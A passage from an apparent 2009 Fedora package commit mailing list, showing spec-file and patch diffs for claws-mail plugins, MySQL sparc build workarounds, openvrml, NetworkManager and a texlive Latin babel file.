 Summary:        A cache saving plugin
@@ -204,6 +218,17 @@ Obsoletes:      sylpheed-claws-plugins-p
 This plugin provides an extended filtering engine for the email client
 claws-mail. It allows for the use of full perl power in email filters.
 
+%package python
+Summary:        Python scripting access to claws-mail
+Group:          Applications/Internet
+Requires:	claws-mail >= %{version}
+
+%description python
+This plugin offers a Python scripting access to Claws Mail. Python code can be
+entered interactively into an embedded Python console, or stored in scripts
+under ~/.claws-mail/python-scripts. The scripts are then accessible via the
+menu of the main window.
+
 %package rssyl
 Summary:        RSS plugin for claws-mail
 Group:          Applications/Internet
@@ -278,6 +303,11 @@ cd ../att_remover-%{attremover}
 %configure --disable-static --disable-dependency-tracking
 %{__make} %{?_smp_mflags}
 
+# bsfilter
+cd ../bsfilter_plugin-%{bsfilter}
+%configure --disable-static --disable-dependency-tracking
+%{__make} %{?_smp_mflags}
+
 # cachesaver
 cd ../cachesaver-%{cachesaver}
 %configure --disable-static --disable-dependency-tracking
@@ -313,6 +343,12 @@ cd ../perl_plugin-%{perl}
 %configure --disable-static --disable-dependency-tracking
 %{__make} %{?_smp_mflags}
 
+#python
+cd ../python_plugin-%{python}
+%configure --disable-static --disable-dependency-tracking
+%{__make} %{?_smp_mflags}
+
+
 #rssyl
 cd ../rssyl-%{rssyl}
 %configure --disable-static --disable-dependency-tracking
@@ -365,6 +401,12 @@ cd att_remover-%{attremover}
 %{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
 cd -
 
+# bsfilter_plugin
+cd bsfilter_plugin-%{bsfilter}
+%{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
+cd -
+%find_lang bsfilter_plugin
+
 # cachesaver
 cd cachesaver-%{cachesaver}
 %{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
@@ -402,6 +444,11 @@ cd perl_plugin-%{perl}
 %{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
 cd -
 
+#python
+cd python_plugin-%{python}
+%{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
+cd -
+
 #rssyl
 cd rssyl-%{rssyl}
 %{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
@@ -483,6 +530,14 @@ rm -rf $RPM_BUILD_ROOT
 %doc att_remover-%{attremover}/README
 %{_libdir}/claws-mail/plugins/att_remover*
 
+%files bsfilter -f bsfilter_plugin.lang
+%defattr(-,root,root,-)
+%doc bsfilter_plugin-%{bsfilter}/AUTHORS
+%doc bsfilter_plugin-%{bsfilter}/ChangeLog
+%doc bsfilter_plugin-%{bsfilter}/COPYING
+%doc bsfilter_plugin-%{bsfilter}/README
+%{_libdir}/claws-mail/plugins/bsfilter*
+
 %files cachesaver
 %defattr(-,root,root,-)
 %doc cachesaver-%{cachesaver}/AUTHORS
@@ -536,6 +591,14 @@ rm -rf $RPM_BUILD_ROOT
 %doc perl_plugin-%{perl}/README
 %{_libdir}/claws-mail/plugins/perl_plugin.so
 
+%files python
+%defattr(-,root,root,-)
+%doc python_plugin-%{python}/AUTHORS
+%doc python_plugin-%{python}/ChangeLog
+%doc python_plugin-%{python}/COPYING
+%doc python_plugin-%{python}/README
+%{_libdir}/claws-mail/plugins/python_plugin*
+
 %files rssyl -f rssyl.lang
 %defattr(-,root,root,-)
 %doc rssyl-%{rssyl}/AUTHORS
@@ -576,9 +639,22 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/claws-mail/plugins/vcalendar/
 
 %changelog
+* Mon Oct 12 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
+- 3.7.3-1
+- version upgrade
+- new plugins bsfilter, python
+
+* Fri Aug 07 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
+- 3.7.2-3
+- fix crash in fancy plugin (#515373)
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.7.2-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Jul 06 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
 - 3.7.2-1
 - version upgrade
+- new plugin: fancy
 - fix notification plugin to work with libnotify (#496149)
 
 * Mon Mar 30 2009 Michael Schwendt <mschwendt at fedoraproject.org>


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail-plugins/F-10/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	7 Jul 2009 04:42:01 -0000	1.21
+++ sources	16 Oct 2009 04:23:05 -0000	1.22
@@ -1 +1 @@
-0bdbbf69b2420e4bbb8d0ae85f9f85d6  claws-mail-extra-plugins-3.7.2.tar.bz2
+aa397973a01893c0ce1b96402020ab62  claws-mail-extra-plugins-3.7.3.tar.bz2



From tgl at fedoraproject.org  Fri Oct 16 04:26:47 2009
From: tgl at fedoraproject.org (Tom Lane)
Date: Fri, 16 Oct 2009 04:26:47 +0000 (UTC)
Subject: rpms/mysql/devel mysql-sparc-gcc-bug.patch, NONE, 1.1 my_config.h,
	1.3, 1.4 mysql.spec, 1.130, 1.131 ndb_types.h, 1.1, 1.2
Message-ID: <20091016042647.E56D211C00E5@cvs1.fedora.phx.redhat.com>

Author: tgl

Update of /cvs/pkgs/rpms/mysql/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6312

Modified Files:
	my_config.h mysql.spec ndb_types.h 
Added Files:
	mysql-sparc-gcc-bug.patch 
Log Message:
assorted fixes for sparc

mysql-sparc-gcc-bug.patch:
 DbaccMain.cpp |   10 +++-------
 1 file changed, 3 insertions(+), 7 deletions(-)

--- NEW FILE mysql-sparc-gcc-bug.patch ---
This is a temporary workaround for what is surely a gcc bug on Sparc.
Submitted as bz #529299


diff -Naur mysql-5.1.39.orig/storage/ndb/src/kernel/blocks/dbacc/DbaccMain.cpp mysql-5.1.39/storage/ndb/src/kernel/blocks/dbacc/DbaccMain.cpp
--- mysql-5.1.39.orig/storage/ndb/src/kernel/blocks/dbacc/DbaccMain.cpp	2009-09-04 12:21:16.000000000 -0400
+++ mysql-5.1.39/storage/ndb/src/kernel/blocks/dbacc/DbaccMain.cpp	2009-10-15 22:19:07.000000000 -0400
@@ -8538,11 +8538,7 @@
   default:
     tmp = 0;
   }
-  memcpy(signal->theData, &tmp, 8); /* must be memcpy, gives strange results on
-				     * ithanium gcc (GCC) 3.4.1 smp linux 2.4
-				     * otherwise
-				     */
-  //  Uint32 * src = (Uint32*)&tmp;
-  //  signal->theData[0] = src[0];
-  //  signal->theData[1] = src[1];
+  Uint32 * src = (Uint32*)&tmp;
+  signal->theData[0] = src[0];
+  signal->theData[1] = src[1];
 }


Index: my_config.h
===================================================================
RCS file: /cvs/pkgs/rpms/mysql/devel/my_config.h,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- my_config.h	15 Dec 2005 17:04:25 -0000	1.3
+++ my_config.h	16 Oct 2009 04:26:47 -0000	1.4
@@ -4,13 +4,14 @@
  * identical.  Hence, this file is architecture-independent and calls
  * in an arch-dependent file that will appear in just one RPM.
  *
+ * To avoid breaking arches not explicitly supported by Red Hat, we
+ * use this indirection file *only* on known multilib arches.
+ *
  * Note: this may well fail if user tries to use gcc's -I- option.
  * But that option is deprecated anyway.
  */
 #if defined(__x86_64__)
 #include "my_config_x86_64.h"
-#elif defined(__ia64__)
-#include "my_config_ia64.h"
 #elif defined(__i386__)
 #include "my_config_i386.h"
 #elif defined(__ppc64__) || defined(__powerpc64__)
@@ -21,4 +22,8 @@
 #include "my_config_s390x.h"
 #elif defined(__s390__)
 #include "my_config_s390.h"
+#elif defined(__sparc__) && defined(__arch64__)
+#include "my_config_sparc64.h"
+#elif defined(__sparc__)
+#include "my_config_sparc.h"
 #endif


Index: mysql.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mysql/devel/mysql.spec,v
retrieving revision 1.130
retrieving revision 1.131
diff -u -p -r1.130 -r1.131
--- mysql.spec	23 Sep 2009 23:32:00 -0000	1.130
+++ mysql.spec	16 Oct 2009 04:26:47 -0000	1.131
@@ -1,6 +1,6 @@
 Name: mysql
 Version: 5.1.39
-Release: 2%{?dist}
+Release: 3%{?dist}
 Summary: MySQL client programs and shared libraries
 Group: Applications/Databases
 URL: http://www.mysql.com
@@ -33,6 +33,7 @@ Patch7: mysql-plugin-bug.patch
 Patch8: mysql-setschedparam.patch
 Patch9: mysql-ndb-stacksize.patch
 Patch10: mysql-strmov.patch
+Patch11: mysql-sparc-gcc-bug.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 BuildRequires: gperf, perl, readline-devel, openssl-devel
@@ -176,6 +177,7 @@ the MySQL sources.
 %patch8 -p1
 %patch9 -p1
 %patch10 -p1
+%patch11 -p1
 
 libtoolize --force
 aclocal
@@ -190,6 +192,11 @@ CFLAGS="%{optflags} -D_GNU_SOURCE -D_FIL
 CFLAGS="$CFLAGS -fno-strict-aliasing -fwrapv"
 # force PIC mode so that we can build libmysqld.so
 CFLAGS="$CFLAGS -fPIC"
+# gcc seems to have some bugs on sparc as of 4.4.1, back off optimization
+# submitted as bz #529298
+%ifarch sparc sparcv9 sparc64
+CFLAGS=`echo $CFLAGS| sed -e "s|-O2|-O1|g" `
+%endif
 # extra C++ flags as per recommendations in mysql's INSTALL-SOURCE doc
 CXXFLAGS="$CFLAGS -felide-constructors -fno-rtti -fno-exceptions"
 export CFLAGS CXXFLAGS
@@ -263,7 +270,7 @@ rm -rf $RPM_BUILD_ROOT
 # multilib header hacks
 # we only apply this to known Red Hat multilib arches, per bug #181335
 case `uname -i` in
-  i386 | x86_64 | ppc | ppc64 | s390 | s390x | sparc | sparcv9 | sparc64 )
+  i386 | x86_64 | ppc | ppc64 | s390 | s390x | sparc | sparc64 )
     mv $RPM_BUILD_ROOT/usr/include/mysql/my_config.h $RPM_BUILD_ROOT/usr/include/mysql/my_config_`uname -i`.h
     install -m 644 %{SOURCE5} $RPM_BUILD_ROOT/usr/include/mysql/
     mv $RPM_BUILD_ROOT/usr/include/mysql/storage/ndb/ndb_types.h $RPM_BUILD_ROOT/usr/include/mysql/storage/ndb/ndb_types_`uname -i`.h
@@ -642,6 +649,13 @@ fi
 %{_mandir}/man1/mysql_client_test.1*
 
 %changelog
+* Thu Oct 15 2009 Tom Lane <tgl at redhat.com> 5.1.39-3
+- Work around two different compiler bugs on sparc, one by backing off
+  optimization from -O2 to -O1, and the other with a klugy patch
+Related: #529298, #529299
+- Clean up bogosity in multilib stub header support: ia64 should not be
+  listed (it's not multilib), sparc and sparc64 should be
+
 * Wed Sep 23 2009 Tom Lane <tgl at redhat.com> 5.1.39-2
 - Work around upstream bug 46895 by disabling outfile_loaddata test
 


Index: ndb_types.h
===================================================================
RCS file: /cvs/pkgs/rpms/mysql/devel/ndb_types.h,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ndb_types.h	27 Jul 2008 17:54:30 -0000	1.1
+++ ndb_types.h	16 Oct 2009 04:26:47 -0000	1.2
@@ -22,4 +22,8 @@
 #include "ndb_types_s390x.h"
 #elif defined(__s390__)
 #include "ndb_types_s390.h"
+#elif defined(__sparc__) && defined(__arch64__)
+#include "ndb_types_sparc64.h"
+#elif defined(__sparc__)
+#include "ndb_types_sparc.h"
 #endif



From awjb at fedoraproject.org  Fri Oct 16 04:32:36 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Fri, 16 Oct 2009 04:32:36 +0000 (UTC)
Subject: rpms/claws-mail-plugins/F-10 claws-mail-plugins.spec,1.42,1.43
Message-ID: <20091016043236.29CB711C00E5@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/claws-mail-plugins/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7562

Modified Files:
	claws-mail-plugins.spec 
Log Message:
- no webkit on f10



Index: claws-mail-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail-plugins/F-10/claws-mail-plugins.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- claws-mail-plugins.spec	16 Oct 2009 04:23:05 -0000	1.42
+++ claws-mail-plugins.spec	16 Oct 2009 04:32:35 -0000	1.43
@@ -45,7 +45,6 @@ BuildRequires:  libarchive-devel
 BuildRequires:  libytnef-devel
 BuildRequires:  ghostscript
 BuildRequires:  enchant-devel
-BuildRequires:  webkitgtk-devel
 # fix #496149
 BuildRequires:  libnotify-devel
 BuildRequires:  python python-devel pygtk2-devel



From braden at fedoraproject.org  Fri Oct 16 04:53:29 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Fri, 16 Oct 2009 04:53:29 +0000 (UTC)
Subject: rpms/openvrml/F-12 openvrml.spec,1.80,1.81
Message-ID: <20091016045329.4BF0C11C00E5@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13149

Modified Files:
	openvrml.spec 
Log Message:
Fixed libopenvrml-gl-devel package name in %files.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/F-12/openvrml.spec,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- openvrml.spec	16 Oct 2009 02:56:14 -0000	1.80
+++ openvrml.spec	16 Oct 2009 04:53:26 -0000	1.81
@@ -195,7 +195,7 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
 %{_libdir}/libopenvrml-gl.so.*
 
-%files gl-devel
+%files -n libopenvrml-gl-devel
 %doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
 %{_includedir}/%{name}/openvrml-gl-common.h
 %{_includedir}/%{name}/openvrml-gl-config.h



From dcbw at fedoraproject.org  Fri Oct 16 05:27:50 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Fri, 16 Oct 2009 05:27:50 +0000 (UTC)
Subject: rpms/NetworkManager/F-11 .cvsignore, 1.107,
	1.108 NetworkManager.spec, 
	1.281, 1.282 nm-applet-internal-buildfixes.patch, 1.9,
	1.10 sources, 1.148, 1.149
Message-ID: <20091016052750.B6B4F11C00E5@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23234

Modified Files:
	.cvsignore NetworkManager.spec 
	nm-applet-internal-buildfixes.patch sources 
Log Message:
* Thu Oct 15 2009 Dan Williams <dcbw at redhat.com> - 0.7.1.997-1
- nm: add support for PEAP-GTC (rh #451027)
- nm: ensure VPN secrets aren't re-used when they shouldn't be
- nm: fix race causing erroneous ethernet carrier change events
- nm: fixes for ZTE, Onda, and Sierra modem detection and operation
- nm: enhanced support for Ericsson 'mbm' modems
- nm: enhanced support for AT&T Quicksilver and Option iCON 505
- nm: work around PPP bug returning bogus nameservers
- applet: PEAP, TTLS, and wired 802.1x fixes
- applet: install GConf schemas
- applet: fix default focus for passphrase dialogs
- applet: translation updates
- editor: fix editing system-wide VPN connections




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-11/.cvsignore,v
retrieving revision 1.107
retrieving revision 1.108
diff -u -p -r1.107 -r1.108
--- .cvsignore	15 Oct 2009 15:58:12 -0000	1.107
+++ .cvsignore	16 Oct 2009 05:27:49 -0000	1.108
@@ -161,3 +161,5 @@ NetworkManager-0.7.1.995.git20090928.tar
 network-manager-applet-0.7.1.995.git20090928.tar.bz2
 NetworkManager-0.7.1.996.git20091015.tar.bz2
 network-manager-applet-0.7.1.996.tar.bz2
+NetworkManager-0.7.1.997.tar.bz2
+network-manager-applet-0.7.1.997.tar.bz2


Index: NetworkManager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-11/NetworkManager.spec,v
retrieving revision 1.281
retrieving revision 1.282
diff -u -p -r1.281 -r1.282
--- NetworkManager.spec	15 Oct 2009 23:29:06 -0000	1.281
+++ NetworkManager.spec	16 Oct 2009 05:27:49 -0000	1.282
@@ -9,13 +9,13 @@
 %define libnl_version 1.1
 %define ppp_version 2.2.4
 
-%define snapshot .git20091015
+%define snapshot %{nil}
 %define applet_snapshot %{nil}
 
 Name: NetworkManager
 Summary: Network connection manager and user applications
 Epoch: 1
-Version: 0.7.1.996
+Version: 0.7.1.997
 Release: 1%{snapshot}%{?dist}
 Group: System Environment/Base
 License: GPLv2+
@@ -347,7 +347,7 @@ fi
 %{_datadir}/gtk-doc/html/libnm-util/*
 
 %changelog
-* Thu Oct 15 2009 Dan Williams <dcbw at redhat.com> - 0.7.1.996-1.git20091015
+* Thu Oct 15 2009 Dan Williams <dcbw at redhat.com> - 0.7.1.997-1
 - nm: add support for PEAP-GTC (rh #451027)
 - nm: ensure VPN secrets aren't re-used when they shouldn't be
 - nm: fix race causing erroneous ethernet carrier change events
@@ -355,6 +355,7 @@ fi
 - nm: enhanced support for Ericsson 'mbm' modems
 - nm: enhanced support for AT&T Quicksilver and Option iCON 505
 - nm: work around PPP bug returning bogus nameservers
+- editor: fix editing system-wide VPN connections
 - applet: PEAP, TTLS, and wired 802.1x fixes
 - applet: install GConf schemas
 - applet: fix default focus for passphrase dialogs

nm-applet-internal-buildfixes.patch:
 configure.ac                      |    4 ----
 src/Makefile.am                   |    8 +++++++-
 src/connection-editor/Makefile.am |    9 ++++++++-
 src/gconf-helpers/Makefile.am     |    8 +++++++-
 src/utils/Makefile.am             |    9 ++++++++-
 src/wireless-security/Makefile.am |    8 +++++++-
 6 files changed, 37 insertions(+), 9 deletions(-)

Index: nm-applet-internal-buildfixes.patch
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-11/nm-applet-internal-buildfixes.patch,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- nm-applet-internal-buildfixes.patch	15 Oct 2009 15:58:12 -0000	1.9
+++ nm-applet-internal-buildfixes.patch	16 Oct 2009 05:27:49 -0000	1.10
@@ -1,20 +1,20 @@
-diff -up NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/configure.ac.buildfix NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/configure.ac
---- NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/configure.ac.buildfix	2009-04-04 18:03:25.000000000 -0400
-+++ NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/configure.ac	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/configure.ac.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/configure.ac
+--- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/configure.ac.buildfix	2009-04-04 18:03:25.000000000 -0400
++++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/configure.ac	2009-04-05 08:31:12.000000000 -0400
 @@ -68,10 +68,6 @@ PKG_CHECK_MODULES(GOBJECT, gobject-2.0)
  PKG_CHECK_MODULES(NMA,
  		[dbus-glib-1 >= 0.74
  		 glib-2.0 >= 2.10
--		 NetworkManager >= 0.7.1
--		 libnm_glib >= 0.7.1
--		 libnm-util >= 0.7.1
--		 libnm_glib_vpn >= 0.7.1
+-		 NetworkManager >= 0.7.1.997
+-		 libnm_glib >= 0.7.1.997
+-		 libnm-util >= 0.7.1.997
+-		 libnm_glib_vpn >= 0.7.1.997
  		 gtk+-2.0 >= 2.14
  		 libglade-2.0
  		 gmodule-export-2.0
-diff -up NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/connection-editor/Makefile.am.buildfix NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/connection-editor/Makefile.am
---- NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/connection-editor/Makefile.am.buildfix	2009-04-03 09:30:25.000000000 -0400
-+++ NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/connection-editor/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/connection-editor/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/connection-editor/Makefile.am
+--- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/connection-editor/Makefile.am.buildfix	2009-04-03 09:30:25.000000000 -0400
++++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/connection-editor/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,5 +1,9 @@
  bin_PROGRAMS = nm-connection-editor
  
@@ -37,9 +37,9 @@ diff -up NetworkManager-0.7.1.996/networ
  
  if NO_POLKIT_GNOME
  nm_connection_editor_LDADD += \
-diff -up NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/gconf-helpers/Makefile.am.buildfix NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/gconf-helpers/Makefile.am
---- NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/gconf-helpers/Makefile.am.buildfix	2008-11-26 20:37:43.000000000 -0500
-+++ NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/gconf-helpers/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/gconf-helpers/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/gconf-helpers/Makefile.am
+--- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/gconf-helpers/Makefile.am.buildfix	2008-11-26 20:37:43.000000000 -0500
++++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/gconf-helpers/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,3 +1,7 @@
 +INCLUDES = -I${top_srcdir}/../include \
 +           -I${top_srcdir}/../libnm-util \
@@ -57,9 +57,9 @@ diff -up NetworkManager-0.7.1.996/networ
 +	-L${top_builddir}/../libnm-util $(top_builddir)/../libnm-util/libnm-util.la \
 +	-L${top_builddir}/../libnm-glib $(top_builddir)/../libnm-glib/libnm_glib.la
  
-diff -up NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/Makefile.am.buildfix NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/Makefile.am
---- NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
-+++ NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/Makefile.am
+--- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
++++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -4,6 +4,10 @@ NULL=
  
  bin_PROGRAMS = nm-applet
@@ -82,9 +82,9 @@ diff -up NetworkManager-0.7.1.996/networ
  
  gladedir = $(datadir)/nm-applet
  glade_DATA = applet.glade keyring.png
-diff -up NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/utils/Makefile.am.buildfix NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/utils/Makefile.am
---- NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/utils/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
-+++ NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/utils/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/utils/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/utils/Makefile.am
+--- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/utils/Makefile.am.buildfix	2008-11-26 20:37:48.000000000 -0500
++++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/utils/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,3 +1,7 @@
 +INCLUDES = -I${top_srcdir}/../include \
 +           -I${top_srcdir}/../libnm-util \
@@ -102,9 +102,9 @@ diff -up NetworkManager-0.7.1.996/networ
 +	-L${top_builddir}/../libnm-util $(top_builddir)/../libnm-util/libnm-util.la \
 +	-L${top_builddir}/../libnm-glib $(top_builddir)/../libnm-glib/libnm_glib.la
 +
-diff -up NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/wireless-security/Makefile.am.buildfix NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/wireless-security/Makefile.am
---- NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/wireless-security/Makefile.am.buildfix	2009-04-04 11:33:58.000000000 -0400
-+++ NetworkManager-0.7.1.996/network-manager-applet-0.7.1.996/src/wireless-security/Makefile.am	2009-04-05 08:31:12.000000000 -0400
+diff -up NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/wireless-security/Makefile.am.buildfix NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/wireless-security/Makefile.am
+--- NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/wireless-security/Makefile.am.buildfix	2009-04-04 11:33:58.000000000 -0400
++++ NetworkManager-0.7.1.997/network-manager-applet-0.7.1.997/src/wireless-security/Makefile.am	2009-04-05 08:31:12.000000000 -0400
 @@ -1,5 +1,9 @@
  noinst_LTLIBRARIES = libwireless-security.la
  


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-11/sources,v
retrieving revision 1.148
retrieving revision 1.149
diff -u -p -r1.148 -r1.149
--- sources	15 Oct 2009 23:41:19 -0000	1.148
+++ sources	16 Oct 2009 05:27:49 -0000	1.149
@@ -1,2 +1,2 @@
-e7ee1e623756c632134dc6b4cf47bcb1  network-manager-applet-0.7.1.996.tar.bz2
-5f0e1d01ca37011680c1411255c0fd61  NetworkManager-0.7.1.996.git20091015.tar.bz2
+12f12b2586043c21c3508b05e7994ba2  NetworkManager-0.7.1.997.tar.bz2
+3183f5ae3553da0ce9c381dadbcc19e0  network-manager-applet-0.7.1.997.tar.bz2



From jnovy at fedoraproject.org  Fri Oct 16 05:34:31 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Fri, 16 Oct 2009 05:34:31 +0000 (UTC)
Subject: rpms/texlive-texmf/devel texlive-2007-latin.patch, NONE,
	1.1 texlive-texmf.spec, 1.33, 1.34
Message-ID: <20091016053431.CF59711C00E5@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/texlive-texmf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25009

Modified Files:
	texlive-texmf.spec 
Added Files:
	texlive-2007-latin.patch 
Log Message:
* Thu Oct 15 2009 Jindrich Novy <jnovy at redhat.com> 2007-30
- update latin.ldf (#469948)
- do not provide any perl dependencies (#516350)


texlive-2007-latin.patch:
 latin.ldf |  150 +++++++++++++++++++++-----------------------------------------
 1 file changed, 52 insertions(+), 98 deletions(-)

--- NEW FILE texlive-2007-latin.patch ---
diff -up texlive-texmf-2007/texmf-dist/tex/generic/babel/latin.ldf.latin texlive-texmf-2007/texmf-dist/tex/generic/babel/latin.ldf
--- texlive-texmf-2007/texmf-dist/tex/generic/babel/latin.ldf.latin	2006-08-27 20:22:43.000000000 +0200
+++ texlive-texmf-2007/texmf-dist/tex/generic/babel/latin.ldf	2009-10-15 21:09:44.000000000 +0200
@@ -5,47 +5,26 @@
 %% The original source files were:
 %%
 %% latin.dtx  (with options: `code')
+%% 
 %% This is a generated file.
 %% 
-%% Copyright 1989-2005 Johannes L. Braams and any individual authors
+%% Copyright 1989-2000 Johannes L. Braams and any individual authors
 %% listed elsewhere in this file.  All rights reserved.
 %% 
-%% This file was generated from file(s) of the Babel system.
-%% ---------------------------------------------------------
-%% 
-%% It may be distributed and/or modified under the
-%% conditions of the LaTeX Project Public License, either version 1.3
-%% of this license or (at your option) any later version.
-%% The latest version of this license is in
-%%   http://www.latex-project.org/lppl.txt
-%% and version 1.3 or later is part of all distributions of LaTeX
-%% version 2003/12/01 or later.
-%% 
-%% This work has the LPPL maintenance status "maintained".
-%% 
-%% The Current Maintainer of this work is Johannes Braams.
-%% 
-%% This file may only be distributed together with a copy of the Babel
-%% system. You may however distribute the Babel system without
-%% such generated files.
+%% This file is part of the Babel system release 3.7.
+%% --------------------------------------------------
 %% 
-%% The list of all files belonging to the Babel distribution is
-%% given in the file `manifest.bbl'. See also `legal.bbl for additional
-%% information.
-%% 
-%% The list of derived (unpacked) files belonging to the distribution
-%% and covered by LPPL is defined by the unpacking scripts (with
-%% extension .ins) which are part of the distribution.
-%% 
-%% Copyright 1999-2001 Claudio Beccari All rights reserved.
+%% It may be distributed under the terms of the LaTeX Project Public
+%% License, as described in lppl.txt in the base LaTeX distribution.
+%% Either version 1.1 or, at your option, any later version.
 \ProvidesFile{latin.ldf}
-        [2005/11/17 v2.0g Latin support from the babel system]
+        [2007/03/20 v.2.0f Latin support from the babel system]
 %% File `latin.dtx'
 %% Babel package for LaTeX version 2e
 %% Copyright (C) 1989 - 2005
